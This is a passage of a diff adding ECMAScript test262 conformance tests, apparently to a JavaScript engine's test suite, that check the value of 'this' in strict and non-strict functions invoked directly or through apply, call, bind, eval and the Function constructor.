+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.apply(someObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+function f() { "use strict"; return this===o;};
+return f.apply(o);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-69gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-69gs.js
new file mode 100644
index 000000000..f32b45575
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-69gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-69gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.apply(someObject))
+ * @onlyStrict
+ */
+
+var o = {};
+function f() { "use strict"; return this===o;};
+if (! f.apply(o)){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-7-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-7-s.js
new file mode 100644
index 000000000..ae370f766
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-7-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-7-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within strict mode)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+"use strict";
+function f() {
+ return typeof this;
+}
+return f() === "undefined";
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-70-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-70-s.js
new file mode 100644
index 000000000..d1bf918ee
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-70-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-70-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.apply(globalObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this;};
+return f.apply(fnGlobalObject()) === fnGlobalObject();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-70gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-70gs.js
new file mode 100644
index 000000000..0044b8afd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-70gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-70gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.apply(globalObject))
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this;};
+if (f.apply(fnGlobalObject()) !== fnGlobalObject()){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-71-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-71-s.js
new file mode 100644
index 000000000..5fe5dcba3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-71-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-71-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.call())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return f.call();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-71gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-71gs.js
new file mode 100644
index 000000000..c978be9ad
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-71gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-71gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.call())
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! f.call()){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-72-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-72-s.js
new file mode 100644
index 000000000..b9c669291
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-72-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-72-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.call(null))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===null;};
+return f.call(null);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-72gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-72gs.js
new file mode 100644
index 000000000..49ca243d1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-72gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-72gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.call(null))
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===null;};
+if (! f.call(null)){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-73-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-73-s.js
new file mode 100644
index 000000000..e04b5d7be
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-73-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-73-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.call(undefined))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return f.call(undefined);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-73gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-73gs.js
new file mode 100644
index 000000000..10a3176db
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-73gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-73gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.call(undefined))
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! f.call(undefined)){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-74-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-74-s.js
new file mode 100644
index 000000000..7e2d746e3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-74-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-74-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.call(someObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+function f() { "use strict"; return this===o;};
+return f.call(o);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-74gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-74gs.js
new file mode 100644
index 000000000..27a73d67f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-74gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-74gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.call(someObject))
+ * @onlyStrict
+ */
+
+var o = {};
+function f() { "use strict"; return this===o;};
+if (! f.call(o)){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-75-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-75-s.js
new file mode 100644
index 000000000..fa8f4d4b0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-75-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-75-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.call(globalObject))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this;};
+return f.call(fnGlobalObject()) === fnGlobalObject();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-75gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-75gs.js
new file mode 100644
index 000000000..3df699177
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-75gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-75gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.call(globalObject))
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this;};
+if (f.call(fnGlobalObject()) !== fnGlobalObject()){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-76-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-76-s.js
new file mode 100644
index 000000000..7918f0dfa
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-76-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-76-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.bind()())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return f.bind()();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-76gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-76gs.js
new file mode 100644
index 000000000..f61d0e324
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-76gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-76gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.bind()())
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! (f.bind()())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-77-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-77-s.js
new file mode 100644
index 000000000..fb5614dd9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-77-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-77-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.bind(null)())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===null;};
+return f.bind(null)();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-77gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-77gs.js
new file mode 100644
index 000000000..51d38c398
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-77gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-77gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.bind(null)())
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===null;};
+if (! (f.bind(null)())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-78-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-78-s.js
new file mode 100644
index 000000000..3d50f279c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-78-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-78-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.bind(undefined)())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return f.bind(undefined)();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-78gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-78gs.js
new file mode 100644
index 000000000..8d67642fa
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-78gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-78gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.bind(undefined)())
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! (f.bind(undefined)())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-79-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-79-s.js
new file mode 100644
index 000000000..5dace0a45
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-79-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-79-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.bind(someObject)())
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+function f() { "use strict"; return this===o;};
+return f.bind(o)();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-79gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-79gs.js
new file mode 100644
index 000000000..a347c004a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-79gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-79gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.bind(someObject)())
+ * @onlyStrict
+ */
+
+var o = {};
+function f() { "use strict"; return this===o;};
+if (! (f.bind(o)())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-7gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-7gs.js
new file mode 100644
index 000000000..23b1c0583
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-7gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-7gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+function f() {
+ return typeof this;
+}
+if (f() !== "undefined") {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-8-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-8-s.js
new file mode 100644
index 000000000..7d6beaa1a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-8-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-8-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration includes strict directive prologue)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+function f() {
+ "use strict";
+ return typeof this;
+}
+return f() === "undefined";
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-80-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-80-s.js
new file mode 100644
index 000000000..86951b61a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-80-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-80-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.bind(globalObject)())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this;};
+return f.bind(fnGlobalObject())() === fnGlobalObject();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-80gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-80gs.js
new file mode 100644
index 000000000..e3ed02e6a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-80gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-80gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.bind(globalObject)())
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this;};
+if (f.bind(fnGlobalObject())() !== fnGlobalObject()){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-81-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-81-s.js
new file mode 100644
index 000000000..61be6b784
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-81-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-81-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict function declaration)
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this!==undefined;};
+function foo() { "use strict"; return f();}
+return foo();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-81gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-81gs.js
new file mode 100644
index 000000000..0544e0cd7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-81gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-81gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict function declaration)
+ * @noStrict
+ */
+
+function f() { return this!==undefined;};
+function foo() { "use strict"; return f();}
+if (! foo()){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-82-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-82-s.js
new file mode 100644
index 000000000..0a2b16600
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-82-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-82-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict eval)
+ * @noStrict
+ */
+
+function testcase() {
+function f() { return this!==undefined;};
+return (function () {"use strict"; return eval("f();");})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-82gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-82gs.js
new file mode 100644
index 000000000..305435eeb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-82gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-82gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict eval)
+ * @noStrict
+ */
+
+function f() { return this!==undefined;};
+if (! ((function () {"use strict"; return eval("f();");})()) ){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-83-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-83-s.js
new file mode 100644
index 000000000..f03adeff5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-83-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-83-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function constructor)
+ * @noStrict
+ */
+
+function testcase() {
+fnGlobalObject().f = function() {return this!==undefined;};
+return (function () {return Function("\"use strict\";return f();")();})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-83gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-83gs.js
new file mode 100644
index 000000000..dfe59d84e
